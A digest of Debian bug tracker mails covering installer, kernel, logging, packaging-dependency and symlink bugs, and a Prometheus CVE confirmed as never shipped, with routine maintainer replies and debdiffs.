Bug#988573: linux-image-5.10.0-6-alpha-smp dereferences a null pointer on boot

[Rich]

Sure.

https://bugzilla.kernel.org/show_bug.cgi?id=213143

- Rich

On Thu, May 20, 2021 at 1:16 AM Salvatore Bonaccorso  wrote:
>
> Hi Rich,
>
> On Wed, May 19, 2021 at 12:14:49AM -0400, Rich wrote:
> > So it reproduces identically on 5.10.28 and 5.12.4 vanilla, but
> > 5.13.0-rc2 fails differently, so I'm going to report that.
>
> Thanks, can you then point us to the upstream report once you got to
> it?
>
> Regards,
> Salvatore

Bug#988826: grub-installer: reinstalling GRUB on a BIOS setup yields an error in rescue mode despite being successful

[Cyril Brulebois]

Cyril Brulebois  (2021-05-20):
> Namely, rescue.d/80grub-reinstall gets this new code (excerpt):
> 
> chroot /target mount /boot/efi || true
> EXTRA_PATHS="$EXTRA_PATHS /target/boot/efi"
> trap "umount $EXTRA_PATHS" HUP INT QUIT KILL PIPE TERM EXIT
> 
> The first line does generate an error/warning message that's harmless
> (seen in /var/log/syslog, not in the interface) for BIOS systems.
> 
> But the suspected culprit is the unconditional addition of
> /target/boot/efi (that's unlikely to exist on such systems) to
> EXTRA_PATHS, coupled with the trap call. Since the umount there isn't
> guarded with a “|| true”, and since the trap is deployed for EXIT as
> well, it might be that we're trying to exit successfully, but end up
> triggering an error due to the ENOENT when unmounting.
> 
> If that's confirmed, it might be better to guard this differently, e.g.
> via:
> 
> if [ -e /target/boot/efi ]; then
> chroot /target mount /boot/efi || true
> EXTRA_PATHS="$EXTRA_PATHS /target/boot/efi"
> fi

That wouldn't be sufficient: umount would just get called with
$EXTRA_PATHS as a parameter. In my purposefully-broken test setup, I do
have a separate /boot partition on /dev/sda1 (encrypted LVM, without
cryptodisk), but it seems /boot doesn't get handled via EXTRA_PATHS.

With the if condition proposed above, we would just call “umount”
without any parameters, and we would get an error message from busybox,
telling us it expects at least one parameter…

Anyway, hopefully the problem is obvious enough for anyone to propose
and test proper solutions. :-)


Cheers,
-- 
Cyril Brulebois (k...@debian.org)
D-I release manager -- Release team member -- Freelance Consultant


signature.asc
Description: PGP signature

Bug#988826: grub-installer: reinstalling GRUB on a BIOS setup yields an error in rescue mode despite being successful

[Cyril Brulebois]

Package: grub-installer
Version: 1.175
Severity: important
X-Debbugs-Cc: Steve McIntyre <93...@debian.org>

Hi,

Calling this important since it gives a wrong indication to users trying
to rescue their systems. During smoke testing for #987377, once the hang
is fixed, I've toyed with other options like reinstalling the bootloader.

I was surprised to find out that the rescue mode interface reports there
was an error while grepping -i for GRUB in /var/log/syslog only returned
the usual success messages from grub-install, yet we get an error code
set to 1…


A wild guess (unconfirmed at this stage, it's a little late in the day)
is a regression coming from this commit:
  
https://salsa.debian.org/installer-team/grub-installer/-/commit/5eada0008eede06c97d55adca1a9eb1eb9447aee

Namely, rescue.d/80grub-reinstall gets this new code (excerpt):

chroot /target mount /boot/efi || true
EXTRA_PATHS="$EXTRA_PATHS /target/boot/efi"
trap "umount $EXTRA_PATHS" HUP INT QUIT KILL PIPE TERM EXIT

The first line does generate an error/warning message that's harmless
(seen in /var/log/syslog, not in the interface) for BIOS systems.

But the suspected culprit is the unconditional addition of
/target/boot/efi (that's unlikely to exist on such systems) to
EXTRA_PATHS, coupled with the trap call. Since the umount there isn't
guarded with a “|| true”, and since the trap is deployed for EXIT as
well, it might be that we're trying to exit successfully, but end up
triggering an error due to the ENOENT when unmounting.

If that's confirmed, it might be better to guard this differently, e.g.
via:

if [ -e /target/boot/efi ]; then
chroot /target mount /boot/efi || true
EXTRA_PATHS="$EXTRA_PATHS /target/boot/efi"
fi

so that we can still throw errors when unmounting other items of the
EXTRA_PATHS list, without purposefully generating an error that we would
ignored via “|| true”, also ignoring possible other errors in the
process…

That's just a vague gut feeling, feel free to adjust in the best way
you can imagine. :)


Cheers,
-- 
Cyril Brulebois (k...@debian.org)
D-I release manager -- Release team member -- Freelance Consultant

Bug#988804: prometheus: CVE-2021-29622

[Salvatore Bonaccorso]

Hi Martina,

On Thu, May 20, 2021 at 06:16:34AM +0100, Martina Ferrari wrote:
> On 20/05/2021 05:11, Salvatore Bonaccorso wrote:
> 
> > Thanks, so I have to assume we are protected since 63d6cb569d4e
> > ("Refresh patches and patch out react-app URL handlers") in the
> > packaging repository, which would be in debian/2.15.2+ds-1.
> > 
> > Is this correct?
> 
> To be precise, that commit patched out the whole `/new` prefix when it first
> appeared, and before this vulnerability was introduced. The vuln appears at
> 3470ee1fbf9d424784eb2613bab5ab0f14b4d222 (3/11/2020), released as part of
> 2.23.0, and a few days later it is merged into Debian, and removed when
> refreshing patches in 7f0d9ba6d.
> 
> In a nutshell: we never released this code :)

Perfect, thanks a lot for confirming that. I tried to reflect so the
status in https://security-tracker.debian.org/tracker/CVE-2021-29622
which now then should be good.

Regards,
Salvatore

Bug#988804: prometheus: CVE-2021-29622

[Martina Ferrari]

On 20/05/2021 05:11, Salvatore Bonaccorso wrote:


Thanks, so I have to assume we are protected since 63d6cb569d4e
("Refresh patches and patch out react-app URL handlers") in the
packaging repository, which would be in debian/2.15.2+ds-1.

Is this correct?


To be precise, that commit patched out the whole `/new` prefix when it 
first appeared, and before this vulnerability was introduced. The vuln 
appears at 3470ee1fbf9d424784eb2613bab5ab0f14b4d222 (3/11/2020), 
released as part of 2.23.0, and a few days later it is merged into 
Debian, and removed when refreshing patches in 7f0d9ba6d.


In a nutshell: we never released this code :)

--
Martina Ferrari (Tina)

Bug#988573: linux-image-5.10.0-6-alpha-smp dereferences a null pointer on boot

[Salvatore Bonaccorso]

Hi Rich,

On Wed, May 19, 2021 at 12:14:49AM -0400, Rich wrote:
> So it reproduces identically on 5.10.28 and 5.12.4 vanilla, but
> 5.13.0-rc2 fails differently, so I'm going to report that.

Thanks, can you then point us to the upstream report once you got to
it?

Regards,
Salvatore

Bug#988770: python3-hawkey-doc: broken symlinks: /usr/share/doc/python3-hawkey-doc/html/_static/{jquery,underscore}.js

[Mihai Moldovan]

* On 5/19/21 1:46 PM, Andreas Beckmann wrote:
> Package: python3-hawkey-doc
> Version: 0.55.2-6
> [...]
> during a test with piuparts I noticed your package ships (or creates)
> a broken symlink.
> [...]
> Is python3-hawkey-doc missing a Depends/Recommends/Suggests: libjs-jquery, 
> libjs-underscore ?

Yes, it is. Thanks for catching that.


Disclaimer: while I'm listed as the maintainer since I did the initial
packaging, I explicitly mentioned in the ITP that I'm not a DD and can't
actually maintain that package (not just because of the lack of access, but most
importantly time on my part).



Mihai



OpenPGP_signature
Description: OpenPGP digital signature

Bug#988804: prometheus: CVE-2021-29622

[Salvatore Bonaccorso]

Hi Martina,

On Wed, May 19, 2021 at 11:36:01PM +0100, Martina Ferrari wrote:
> Hi Salvatore,
> 
> On 19/05/2021 19:40, Salvatore Bonaccorso wrote:
> > 
> > The following vulnerability was published for prometheus.
> > 
> > CVE-2021-29622[0]:
> > | Open Redirect under the /new endpoint
> > 
> > If you fix the vulnerability please also make sure to include the
> > CVE (Common Vulnerabilities & Exposures) id in your changelog entry.
> > 
> 
> Thanks for sending this for our attention. Luckily, one of our patches had
> disabled this functionality (due to lack of React support in Debian), and so
> we are not vulnerable.
> 
> This is the relevant part of the patch
> (debian/patches/01-Do_not_embed_blobs.patch ):
> 
> 
> - // Redirect the original React UI's path (under "/new") to its new path 
> at
> the root.
> - router.Get("/new/*path", func(w http.ResponseWriter, r *http.Request) {
> - p := route.Param(r.Context(), "path")
> - http.Redirect(w, r, path.Join(o.ExternalURL.Path, 
> strings.TrimPrefix(p,
> "/new"))+"?"+r.URL.RawQuery, http.StatusFound)
> + // Catch requests to legacy URLs that would try to hit the "new" web UI
> + router.Get("/graph/", func(w http.ResponseWriter, r *http.Request) {
> + http.Redirect(w, r, path.Join(o.ExternalURL.Path,
> "/classic/graph")+"?"+r.URL.RawQuery, http.StatusFound)
>   })

Thanks, so I have to assume we are protected since 63d6cb569d4e
("Refresh patches and patch out react-app URL handlers") in the
packaging repository, which would be in debian/2.15.2+ds-1.

Is this correct?

Regards,
Salvatore

Bug#988652: logrotate: kern.log,syslog and other files in /var/log not rotating

[UN-pi]

The actual situation is today the same than yesterday.
The system is writing to the old files.

using a

   systemctl kill -s HUP --kill-who=main rsyslog.service

didn't help. The system was still writing to the old syslog.1-file while the 
new syslog content's kern.log messages.
Only a

    pkill -HUP rsyslogd

helped.

the kernel is

  Linux debian64 5.10.17-v8+ #1414 SMP PREEMPT Fri Apr 30 13:23:25 BST
2021 aarch64 GNU/Linux

cat /etc/os-release

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/;
SUPPORT_URL="https://www.debian.org/support;
BUG_REPORT_URL="https://bugs.debian.org/;

--
Looking on a second server with the original

/usr/lib/rsyslog/rsyslog-rotate -version

and kernel

Linux localhost 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 
GNU/Linux

 cat /etc/os-release

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/;
SUPPORT_URL="https://www.debian.org/support;
BUG_REPORT_URL="https://bugs.debian.org/;

Here everything works fine.

Bug#986975: libgdal28: please add Breaks: libgdal20

[Sebastiaan Couwenberg]

On 5/19/21 9:29 PM, Dennis Filder wrote:
> The error message I get when trying to dump a
> database from the old 11 cluster is:
> 
>   pg_dump: error: query failed: ERROR:  could not access file 
> "$libdir/postgis-2.5": No such file or directory
> 
> Is that fact communicated somewhere?  Or are postgis users just
> expected to know this? 

PostGIS users are expected to know this. This is an infamous issue with
PostGIS as an extension to PostgreSQL which makes it pretty shit
compared to MySQL/MariaDB which has geometry support out of the box.

The upstream docs only support upgrading the PostgreSQL database with
the same version of PostGIS (because the version is embedded in the
extension filename):

"
 Install the new version of PostgreSQL and the same version of PostGIS
 you are using in your old database. You need to match the PostGIS
 version so that the dump file function definitions reference an
 expected version of the PostGIS library.
"

 https://postgis.net/workshops/postgis-intro/upgrades.html

Because this is not possible during a distribution upgrade where both
the version of PostgreSQL and the version of PostGIS change, you need to
resort to hacks to make the upgrade work:

 http://blog.cleverelephant.ca/2016/08/postgis-upgrade.html

Or just recreate the databases from scratch. It has the benefit that you
don't need twice the amount of disk space, you can just drop the old
cluster and use the disk space for the new cluster only.

Kind Regards,

Bas

-- 
 GPG Key ID: 4096R/6750F10AE88D4AF1
Fingerprint: 8182 DE41 7056 408D 6146  50D1 6750 F10A E88D 4AF1

Bug#977178:

[Daniel Black]

RocksDB level fix:

https://github.com/facebook/rocksdb/commit/29f7bbef995bdf83098963799c66af742e95373f

The rocksdb submodule within mariadb is significantly older however -
https://github.com/MariaDB/server/tree/10.3/storage/rocksdb and I don't
know the update policy on it.

Bug#988825: unblock: qpdfview/0.4.18-5

[Norbert Preining]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: unblock

Please unblock package qpdfview

Fix upgrade from buster RC bug #988285
Replace without Breaks.

[ Reason ]
Updates from Buster might see disappearing files.

[ Impact ]
Disappearing files.

[ Tests ]
Manually upgraded.

[ Risks ]
None.

[ Checklist ]
  [x] all changes are documented in the d/changelog
  [x] I reviewed all changes and I approve them
  [x] attach debdiff against the package in testing

unblock qpdfview/0.4.18-5

Debdiff:

diff -Nru qpdfview-0.4.18/debian/changelog qpdfview-0.4.18/debian/changelog
--- qpdfview-0.4.18/debian/changelog2020-12-15 08:40:58.0 +0900
+++ qpdfview-0.4.18/debian/changelog2021-05-19 16:04:11.0 +0900
@@ -1,3 +1,9 @@
+qpdfview (0.4.18-5) unstable; urgency=medium
+
+  * Add missing breaks (Closes: #988285)
+
+ -- Norbert Preining   Wed, 19 May 2021 16:04:11 +0900
+
 qpdfview (0.4.18-4) unstable; urgency=medium

   * Update VCS fields.
diff -Nru qpdfview-0.4.18/debian/control qpdfview-0.4.18/debian/control
--- qpdfview-0.4.18/debian/control  2020-12-15 08:40:58.0 +0900
+++ qpdfview-0.4.18/debian/control  2021-05-19 16:04:11.0 +0900
@@ -67,6 +67,7 @@
  qpdfview (<< 0.4.18-3~),
 Conflicts:
  qpdfview-pdf-mupdf-plugin,
+Breaks: qpdfview (<< 0.4.18-3~)
 Description: tabbed document viewer - DjVu plugin
  qpdfview is a simple tabbed document viewer which uses the Poppler library for
  PDF rendering and CUPS for printing and provides a clear and simple Qt

Bug#988824: unblock: cantor/4:20.12.1-5

[Norbert Preining]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: unblock
X-Debbugs-Cc: pkg-kde-t...@alioth-lists.debian.net

Please unblock package cantor

Fix a RC bug #988283 of Replaces without Breaks 

[ Reason ]
Updates from Buster might create a broken situation.

[ Impact ]
Disappearing files.

[ Tests ]
Manually tested upgrade.

[ Risks ]
None.

[ Checklist ]
  [x] all changes are documented in the d/changelog
  [x] I reviewed all changes and I approve them
  [x] attach debdiff against the package in testing

unblock cantor/4:20.12.1-5


Debdiff:

diff -Nru cantor-20.12.1/debian/changelog cantor-20.12.1/debian/changelog
--- cantor-20.12.1/debian/changelog 2021-02-02 11:03:04.0 +0900
+++ cantor-20.12.1/debian/changelog 2021-05-19 16:16:20.0 +0900
@@ -1,3 +1,10 @@
+cantor (4:20.12.1-5) unstable; urgency=medium
+
+  [ Norbert Preining ]
+  * Add missing breaks (Closes: #988283)
+
+ -- Norbert Preining   Wed, 19 May 2021 16:16:20 +0900
+
 cantor (4:20.12.1-4) unstable; urgency=medium

   [ John Scott ]
diff -Nru cantor-20.12.1/debian/control cantor-20.12.1/debian/control
--- cantor-20.12.1/debian/control   2021-02-02 11:02:40.0 +0900
+++ cantor-20.12.1/debian/control   2021-05-19 16:15:30.0 +0900
@@ -88,6 +88,7 @@
 Section: math
 Depends: ${misc:Depends}, ${shlibs:Depends}
 Replaces: cantor (<< 4:20.12.0-2~)
+Breaks: cantor (<< 4:20.12.0-2~)
 Description: interface for mathematical applications - shared library
  Cantor is an application to allow you to you use your favorite mathematical
  applications from within an elegant worksheet interface. It provides dialogs

Bug#979765: rdpmc on VIA Nano

[kazimierz01]

Hello,
Here are the requested logs from the working X2 U4200 on HP T510.
I'll send the information from U3500 in separate mail tomorrow, since 
the machine is in different physical location.


## /proc/cpuinfo on X2 U4200

processor   : 0
vendor_id   : CentaurHauls
cpu family  : 6
model   : 15
model name  : VIA Eden X2 U4200 @ 1.0+ GHz
stepping: 13
cpu MHz : 800.000
cache size  : 1024 KB
physical id : 0
siblings: 2
core id : 0
cpu cores   : 2
apicid  : 0
initial apicid  : 0
fpu : yes
fpu_exception   : yes
cpuid level : 10
wp  : yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov 
pat clflush acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm 
constant_tsc arch_perfmon rep_good nopl cpuid pni monitor vmx est tm2 
ssse3 cx16 xtpr sse4_1 popcnt rng rng_en ace ace_en ace2 phe phe_en pmm 
pmm_en lahf_lm pti tpr_shadow vnmi vpid ida

vmx flags   : vnmi tsc_offset vtpr
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds 
swapgs itlb_multihit

bogomips: 2000.06
clflush size: 64
cache_alignment : 128
address sizes   : 36 bits physical, 48 bits virtual
power management:

processor   : 1
vendor_id   : CentaurHauls
cpu family  : 6
model   : 15
model name  : VIA Eden X2 U4200 @ 1.0+ GHz
stepping: 13
cpu MHz : 900.000
cache size  : 1024 KB
physical id : 0
siblings: 2
core id : 2
cpu cores   : 2
apicid  : 2
initial apicid  : 2
fpu : yes
fpu_exception   : yes
cpuid level : 10
wp  : yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov 
pat clflush acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm 
constant_tsc arch_perfmon rep_good nopl cpuid pni monitor vmx est tm2 
ssse3 cx16 xtpr sse4_1 popcnt rng rng_en ace ace_en ace2 phe phe_en pmm 
pmm_en lahf_lm pti tpr_shadow vnmi vpid ida

vmx flags   : vnmi tsc_offset vtpr
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds 
swapgs itlb_multihit

bogomips: 2000.06
clflush size: 64
cache_alignment : 128
address sizes   : 36 bits physical, 48 bits virtual
power management:

## /var/log/messages  on X2 U4200
May 19 22:01:12 kitt kernel: [0.00] Linux version 5.10.0-6-amd64 
(debian-ker...@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 
20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 
5.10.28-1 (2021-04-09)
May 19 22:01:12 kitt kernel: [0.00] Command line: 
BOOT_IMAGE=/boot/vmlinuz-5.10.0-6-amd64 
root=UUID=13fcf24e-6742-45a8-b4de-9ece6dd52675 ro quiet
May 19 22:01:12 kitt kernel: [0.00] x86/fpu: x87 FPU will use 
FXSAVE
May 19 22:01:12 kitt kernel: [0.00] BIOS-provided physical RAM 
map:
May 19 22:01:12 kitt kernel: [0.00] BIOS-e820: [mem 
0x-0x0009fbff] usable
May 19 22:01:12 kitt kernel: [0.00] BIOS-e820: [mem 
0x0009fc00-0x0009] reserved
May 19 22:01:12 kitt kernel: [0.00] BIOS-e820: [mem 
0x000e-0x000f] reserved
May 19 22:01:12 kitt kernel: [0.00] BIOS-e820: [mem 
0x0010-0x77fc] usable
May 19 22:01:12 kitt kernel: [0.00] BIOS-e820: [mem 
0x77fd-0x77fddfff] ACPI data
May 19 22:01:12 kitt kernel: [0.00] BIOS-e820: [mem 
0x77fde000-0x77fe] ACPI NVS
May 19 22:01:12 kitt kernel: [0.00] BIOS-e820: [mem 
0x77ff-0x77ff] reserved
May 19 22:01:12 kitt kernel: [0.00] BIOS-e820: [mem 
0xfec0-0xfec00fff] reserved
May 19 22:01:12 kitt kernel: [0.00] BIOS-e820: [mem 
0xfecc-0xfecc0fff] reserved
May 19 22:01:12 kitt kernel: [0.00] BIOS-e820: [mem 
0xfee0-0xfee00fff] reserved
May 19 22:01:12 kitt kernel: [0.00] BIOS-e820: [mem 
0xfff0-0x] reserved
May 19 22:01:12 kitt kernel: [0.00] NX (Execute Disable) 
protection: active

May 19 22:01:12 kitt kernel: [0.00] SMBIOS 2.6 present.
May 19 22:01:12 kitt kernel: [0.00] DMI: Hewlett-Packard HP t510 
Thin Client/158Ch, BIOS 786R11 v1.05 06/03/2013
May 19 22:01:12 kitt kernel: [0.00] tsc: Fast TSC calibration 
using PIT
May 19 22:01:12 kitt kernel: [0.00] tsc: Detected 1000.057 MHz 
processor
May 19 22:01:12 kitt kernel: [0.018800] last_pfn = 0x77fd0 
max_arch_pfn = 0x4
May 19 22:01:12 kitt kernel: [0.019324] x86/PAT: Configuration 
[0-7]: WB  WC  UC- UC  WB  WP  UC- WT
May 19 22:01:12 kitt kernel: [0.088915] found SMP MP-table at [mem 
0x000ff780-0x000ff78f]
May 19 22:01:12 kitt kernel: [0.096159] ACPI: Early table checksum 
verification disabled
May 19 22:01:12 kitt kernel: [0.096176] ACPI: RSDP 
0x000FBDD0 24 (v02 ACPIAM)
May 19 22:01:12 kitt kernel: [0.096206] ACPI: XSDT 

Bug#988809: resolvconf: error when attempting Wireguard connection. Unknown interface 'tun': No such device

[ad]

Package: resolvconf
Version: 1.79
Severity: normal

Dear Maintainer,

*** Reporter, please consider answering these questions, where appropriate ***

   * What led up to the situation? executing wireguard command wg-quick up 
[server]
   * What exactly did you do (or not do) that was effective (or
 ineffective)? The problem was resolved by modifying the .conf file to 
comment out the DNS field
   * What was the outcome of this action? The connection attempt was successful
   * What outcome did you expect instead? 

*** End of the template - remove these template lines ***


-- System Information:
Debian Release: 10.9
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.4.107-1.fc25.qubes.x86_64 (SMP w/1 CPU core)
Kernel taint flags: TAINT_OOT_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages resolvconf depends on:
ii  debconf [debconf-2.0]  1.5.71
ii  ifupdown   0.8.35
ii  init-system-helpers1.56+nmu1
ii  lsb-base   10.2019051400

resolvconf recommends no packages.

resolvconf suggests no packages.

-- Configuration Files:
/etc/resolvconf/resolv.conf.d/head changed [not included]

-- debconf information:
  resolvconf/reboot-recommended-after-removal:
  resolvconf/link-tail-to-original: false
  resolvconf/linkify-resolvconf: true
  resolvconf/downup-interfaces:

Bug#987587: libpango1.0-udeb: hangs the installer in various situations

[Steve McIntyre]

On Wed, May 19, 2021 at 05:50:49PM +0200, Cyril Brulebois wrote:
>Simon McVittie  (2021-05-19):

...

>> As for Pango, I'm afraid figuring out whether it is doing something
>> wrong here is beyond my expertise. If I can characterize the maybe-bug
>> in a clear enough way I can try asking upstream - but as I said
>> before, upstream will be very reluctant to touch this as soon as I
>> mention GTK 2, which has been on life-support for a decade and is now
>> officially dead.
>
>As mentioned before, GTK 2 has been working just fine for us… until it
>no longer did. It's *very*hugely*appreciated* that you've helped us that
>much this time around. We'll do the work next time, and I don't think
>it's important enough to try and dive into Pango some more at this
>stage, unless someone experiences similar issues with a hrm more recent
>and supported toolkit version…
>
>Thanks again, you're a lifesaver!

Nod, absolutely. Thanks very much for your efforts here Simon!

-- 
Steve McIntyre, Cambridge, UK.st...@einval.com
“Why do people find DNS so difficult? It’s just cache invalidation and
 naming things.”
   -– Jeff Waugh (https://twitter.com/jdub)

Bug#988803: nautilus-admin package doesn`t work in nautilus kontext menu

[Christopher]

Package: nautilus-admin
Version: 1.1.9-3
The package nautilus-admin doesn`t work in nautilus kontext menu.
The entry "admin ..." will not shown in the kontext menu.
In Buster I use the same package an there it`s working very well.

Kernel version: Linux debian 5.10.0-6-amd64 #1 SMP Debian 5.10.28-1
(2021-04-09) x86_64 GNU/Linux

Bug#987641: [PING to debian-release] Re: Bug#987641: e2fsprogs: FTBFS on armel/armhf with a 64-bit kernel

[Theodore Y. Ts'o]

Ping to the debian-release bug.  Do you want me to upload a fix to
this bug where e2fsprogs fails its regression test (and thus its
package build) when armhf and armel are running on a 64-bit ARM
platform, but they were built successfully when run on a 32-bit ARM
builder?

No question this is a real bug, and it is fixed upstream already.  But
do you want me to upload a fix *now*, during the hard freeze, given
the impact on the installer, et. al.?

Thanks!
- Ted


On Mon, May 03, 2021 at 06:24:54PM -0400, Theodore Ts'o wrote:
> On Mon, May 03, 2021 at 11:00:37PM +0200, Aurelien Jarno wrote:
> > 
> > Maybe I should give a bit of context here. First of all, there is one armhf
> > buildd, arm-arm-01, setup as an arm64 machine with a 32-bit armhf chroot. It
> > has been setup following [1] a study from Steve McIntyre [1]. It appears
> > that e2fsprogs first failed to build there [2] and got requeued on another
> > buildd where it succeed.
> > 
> > Now with my DSA and buildd maintainer hat on, we have been experiencing for
> > quite a lot of VM crashes when building packages in 32-bit armhf/armel VMs
> > on arm64 machines, so we have recently stopped using VMs to build them and
> > instead rely on chroots.
> 
> Thanks for the context.  I had indeed noticed shortly after 1.46.2-1
> was released that it had failed on the first armhf buildd, and then
> when it was retried, it got successfully built.  Given that this was
> right before the bulleye release freeze hardened, this had been on my
> radar screen to fix, since it was clearly non-optimal, but I had
> assumed that it would be OK to let things slide until after the
> Bullseye release, since after all e2fsprogs 1.46.2-1 *did*
> successfully get built on armhf.
> 
> For me, this is really a question of timing.  It will definitely be
> the case that the next source upload of e2fsprogs will have the
> armhf/armel build fix.  The question I have is should I upload the fix
> before Bullseye releases, or after the Bullseye release.
> 
> What is the impact on the buildd and DSA support effort if we wait
> until after the Debian 11.0 release?  What is the pain if we leave
> this unfixed until Bullseye releases (I'm assuming that it's going to
> be released soon)?  The buildd's aren't going to be rebuilding
> e2fsprogs until the next source upload, I would think.
> 
> Contrawise, what is the impact on the Debian Release and Debian
> Installer teams if I push out a bug-fix-only e2fsprogs source package
> in the next week or so?
> 
> I'll do what is least disruptive for all of the relevant teams.  Let
> me know what's preferred.
> 
> Cheers,
> 
>   - Ted

Bug#988823: security-tracker: DSA-4917-1 vs. tracker

[Francesco Poli (wintermute)]

Package: security-tracker
Severity: normal

Hello everyone!

According to [DSA-4917-1], a number of CVEs are fixed in chromium
for buster: CVE-2021-30506 ÷ CVE-2021-30520.

The tracker [DSA page] agrees on that, but also refers to
[CVE-2021-3051], which is not mentioned in the DSA.

[DSA-4917-1]: 

[DSA page]: 
[CVE-2021-3051]: 

Is the DSA incomplete or does the tracker page need a correction?

Please let me know, and update the tracker data, if needed.
Thanks for your time!

Bug#988822: ITP: pyensembl -- installs data from the Ensembl genome database

[Steffen Möller]

Package: wnpp
Owner: Steffen Moeller 
Severity: wishlist

* Package name    : pyensembl
  Version : 1.9.1+ds
  Upstream Author : Copyright: Alex Rubinsteyn 
* URL : https://github.com/openvax/pyensembl
* License : Apache-2.0
  Programming Lang: Python
  Description : installs data from the Ensembl genome database
 The Ensembl genome database is an established reference
 for genomic sequences and their automated annotation.
 To have this data local has advantages for bulk analyses,
 e.g. for the mapping of reads from RNA-seq against the
 latest golden path - or a previous one to compare analyses.
 .
 This package provides a reproducible way to insatll this
 data and thus simplify the automation of respective
 workflows.

Remark: This package is maintained by Debian Med Packaging Team at
   https://salsa.debian.org/med-team/pyensembl

Bug#988622: Acknowledgement (unblock: kodi-pvr-vuplus/7.4.3+ds1-1)

[Mattia Rizzolo]

Control: tag -1 -moreinfo

On Wed, May 19, 2021 at 09:02:25PM +0200, Sebastian Ramacher wrote:
> On 2021-05-18 08:51:37 +, Vasyl Gello wrote:
> > This is mostly a code cleanup release fixing memory leaks viewing some 
> > still images.
> 
> Please go ahead and remove the moreinfo tag once the new version is
> available in unstable.

uploaded.

-- 
regards,
Mattia Rizzolo

GPG Key: 66AE 2B4A FCCF 3F52 DA18  4D18 4B04 3FCD B944 4540  .''`.
More about me:  https://mapreri.org : :'  :
Launchpad user: https://launchpad.net/~mapreri  `. `'`
Debian QA page: https://qa.debian.org/developer.php?login=mattia  `-


signature.asc
Description: PGP signature

Bug#988620: Acknowledgement (unblock: kodi-pvr-mediaportal-tvserver/8.1.2+ds1-1)

[Mattia Rizzolo]

Control: tag -1 -moreinfo

On Wed, May 19, 2021 at 09:05:14PM +0200, Sebastian Ramacher wrote:
> On 2021-05-18 08:46:09 +, Vasyl Gello wrote:
> > This release drops p8-platform dependency (code cleanup) and fixes OOB read 
> > in MultiByteToWideChar.
> 
> The first part was done via patch before that. Please go ahead and
> remove the moreinfo tag once the new version is available in unstable.

uploaded.

-- 
regards,
Mattia Rizzolo

GPG Key: 66AE 2B4A FCCF 3F52 DA18  4D18 4B04 3FCD B944 4540  .''`.
More about me:  https://mapreri.org : :'  :
Launchpad user: https://launchpad.net/~mapreri  `. `'`
Debian QA page: https://qa.debian.org/developer.php?login=mattia  `-


signature.asc
Description: PGP signature

Bug#988821: ITP: python-memoized-property -- decorator to avoid redundant computation

[Steffen Möller]

Package: wnpp
Owner: Steffen Moeller 
Severity: wishlist

* Package name    : python-memoized-property
  Version : 1.0.3
  Upstream Author : Copyright: Steven Cummings 
* URL : https://github.com/estebistec/python-memoized-property
* License : BSD-3-Clause
  Programming Lang: Python
  Description : decorator to avoid redundant computation
 This package allows to tag methods that have may have their
 result buffered to save redundant computation, as in:
   @memoized_property
   def name(self):
   return some_expensive_load()

Remark: This package is maintained by Steffen Moeller at
   https://salsa.debian.org/python-team/packages/python-memoized-property

Bug#988820: libddsc-doc: broken symlinks: /usr/share/doc/libddsc-dev/html/_static/*.js -> ../../../../../javascript/sphinxdoc/1.0/*.js

[Andreas Beckmann]

Package: libddsc-doc
Version: 0.7.0-7
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m43.7s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/libddsc-dev/html/_static/doctools.js -> 
../../../../../javascript/sphinxdoc/1.0/doctools.js (libddsc-doc)
  /usr/share/doc/libddsc-dev/html/_static/jquery.js -> 
../../../../../javascript/sphinxdoc/1.0/jquery.js (libddsc-doc)
  /usr/share/doc/libddsc-dev/html/_static/language_data.js -> 
../../../../../javascript/sphinxdoc/1.0/language_data.js (libddsc-doc)
  /usr/share/doc/libddsc-dev/html/_static/searchtools.js -> 
../../../../../javascript/sphinxdoc/1.0/searchtools.js (libddsc-doc)
  /usr/share/doc/libddsc-dev/html/_static/underscore.js -> 
../../../../../javascript/sphinxdoc/1.0/underscore.js (libddsc-doc)

This looks like a superfluous '../' in the targets.


cheers,

Andreas


libddsc-doc_0.7.0-7.log.gz
Description: application/gzip

Bug#988819: libgnt-doc: broken symlinks: /usr/share/doc/libgnt-doc/* -> ../../gtk-doc/html/*

[Andreas Beckmann]

Package: libgnt-doc
Version: 2.14.1-1
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m37.4s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/libgnt-doc/gio -> ../../gtk-doc/html/gio (libgnt-doc)
  /usr/share/doc/libgnt-doc/glib -> ../../gtk-doc/html/glib (libgnt-doc)
  /usr/share/doc/libgnt-doc/gobject -> ../../gtk-doc/html/gobject (libgnt-doc)

Should libgnt-doc have a Depends/Recommends/Suggests: libglib2.0-doc ?


cheers,

Andreas


libgnt-doc_2.14.1-1.log.gz
Description: application/gzip

